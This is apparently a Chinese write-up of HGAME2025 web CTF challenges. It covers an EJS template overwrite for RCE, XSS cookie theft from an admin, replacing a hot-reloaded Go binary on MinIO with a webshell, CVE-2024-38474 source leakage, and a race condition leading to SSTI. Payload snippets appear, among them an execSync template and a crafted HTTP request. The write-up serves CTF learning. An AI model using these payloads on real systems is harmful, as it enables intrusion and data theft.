HGAME2025
WEB
Level 24 Pacman

拿到题目后发现是前端js小游戏;直接翻看源码:

很明显的base64;然后在套一层栅栏密码

Level 47 BandBomb
代码审计
1 | const express = require('express'); |
upload路由

此时发现文件上传处没有任何的限制;可以随便上传任何文件。
rename路由

存在更改文件名的操作,且可以实现覆盖
渲染路由
1 | app.set('view engine', 'ejs'); |
这里使用ejs来渲染模版,模版默认是保存在/app/views/目录下的,这里使用的模版文件名是mortis.ejs,我们能上传任意文件,那么就能上传一个恶意模版文件,然后覆盖mortis.ejs,来rce。
payload.ejs
1 | <% global.process.mainModule.require('child_process').execSync('env > ./public/env.txt').toString() %> |
先上传

然后改名字

flag:

Level 69 MysteryMessageBoard

先试试密码爆破出密码为:888888

代码审计
1 | package main |
存在/flag和/admin路由
/flag路由

此时的flag路由需要admin身份才可以访问;又因为存在留言板;我们可以马上想到xss攻击获得admin的cookie进行身份的伪造。
/admin路由

经过测试存在xss
Xss
1 | <script>alert('XSS Demo: Security Test')</script> |

payload
1 | <script> |
发送payload后;访问/admin。

替换为admin的cookie

Level 25 双面人派对
逆向
下载得到一个main文件,查壳后发现存在UPX壳;进行脱壳操作

进行字符串查询后发现存在MinIO系统

1 | endpoint: "127.0.0.1:9000"',0Dh,0Ah |
配置后进入

代码审计
下载下来后做代码审计
1 | package main |
此时发现引用了overseer热加载;那么攻击思路就很清晰了

直接重写一份main.go;其中包含可以rce的代码即可获取权限。再次解释一下,此时的热加载就约等于自更新
webshell
1 | package main |
替换原来的main.go文件后进行编译

然后进行上传覆盖原来的update

一般在对于Minio的Rce攻击中的思路都要找一个自更新的点进行利用。
Level 38475 角落

先做信息收集

发现存在robots.txt:
1 | User-agent: * |

app.conf
1 | # Include by httpd.conf |
此时这一段的配置是Apache的配置文件
1. 目录访问权限配置
1 | <Directory "/usr/local/apache2/app"> |
<Directory "/usr/local/apache2/app">: 定义了一个目录块,指定了/usr/local/apache2/app目录的配置。Options Indexes: 允许在目录中没有默认文件(如index.html)时,显示目录列表。如果目录中没有默认文件,用户会看到该目录下的文件和子目录列表。AllowOverride None: 禁止在该目录及其子目录中使用.htaccess文件覆盖此处的配置。这意味着.htaccess文件中的任何指令都不会生效。Require all granted: 允许所有用户访问该目录。这是一个访问控制指令,表示所有请求都被允许。
2. 文件访问控制
1 | <Files "/usr/local/apache2/app/app.py"> |
<Files "/usr/local/apache2/app/app.py">: 定义了一个文件块,指定了/usr/local/apache2/app/app.py文件的配置。Order Allow,Deny: 指定了访问控制的顺序。Apache 会先处理Allow规则,然后处理Deny规则。Deny from all: 拒绝所有用户访问该文件。这意味着无论用户是谁,都无法访问app.py文件。
3. URL 重写规则
1 | RewriteEngine On |
RewriteEngine On: 启用 URL 重写引擎。这是使用RewriteRule和RewriteCond的前提条件。RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/": 定义了一个重写条件。只有当 HTTP 请求头中的User-Agent字段以L1nk/开头时,才会执行后续的RewriteRule。RewriteRule "^/admin/(.\*)$" "/$1.html?secret=todo": 定义了一个重写规则。如果请求的 URL 路径以/admin/开头,并且满足前面的RewriteCond条件,那么 URL 会被重写。(.*)捕获/admin/后面的所有内容,并将其作为$1变量。重写后的 URL 是/$1.html?secret=todo,即将/admin/xxx重写为/xxx.html?secret=todo。
4. 反向代理配置
1 | ProxyPass "/app/" "http://127.0.0.1:5000/" |
ProxyPass "/app/" "http://127.0.0.1:5000/": 配置了一个反向代理规则。所有以/app/开头的请求都会被转发到http://127.0.0.1:5000/。这意味着 Apache 会将/app/路径下的请求代理到本地的 5000 端口上的服务(通常是一个后端应用服务器,如 Flask 或 Django)。
rewrite截断漏洞:CVE-2024-38474
此时考到了一个Apache的CVE:Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器,Apache HTTP Server 2.4.59 及之前版本中 mod_rewrite模块存在替换编码问题,由于针对%3f的URL编码处理不当,攻击者可配置无法通过URL或仅作为CGI执行的脚本访问的目录,从而导致代码执行或源代码泄露,修复版本中通过默认禁用不安全的重写规则,增加UnsafeAllow3F选项来修复该漏洞。
根据我们的robots.txt中的信息我们可以去读取/app下面的文件

payload
1 | GET /admin/usr/local/apache2/app/app.py%3f HTTP/1.1 |

代码审计
1 | from flask import Flask, request, render_template, render_template_string, redirect |
条件竞争

1 |
|
/read路由:
- 调用
readmsg()读取文件内容。 - 检查条件:如果内容不含
{,则用show_msg模板替换{{message}},并通过render_template_string渲染。 - 关键问题:检查(
if "{" not in readmsg())和实际渲染(show_msg.replace())时两次读取文件,且两次读取之间文件可能被修改。
SSTI

发送两个并发请求:
- 请求A:通过
/send写入合法消息(不含{,如hello)。 - 请求B:通过
/send写入恶意模板(如{{7*7}})。
触发/read路由:
- 第一次读取(检查阶段):文件内容为合法消息(
hello),检查通过。 - 第二次读取(渲染阶段):在检查通过后,攻击者立即通过请求B覆盖文件内容为恶意模板,此时
readmsg()返回{{7*7}}。
结果:render_template_string渲染恶意模板,执行7*7并返回49,触发SSTI。
所以此时我们只要发送一个含有{}和一个普通的不含有{}还有一个读取包即可构成条件竞争打ssti



flag:
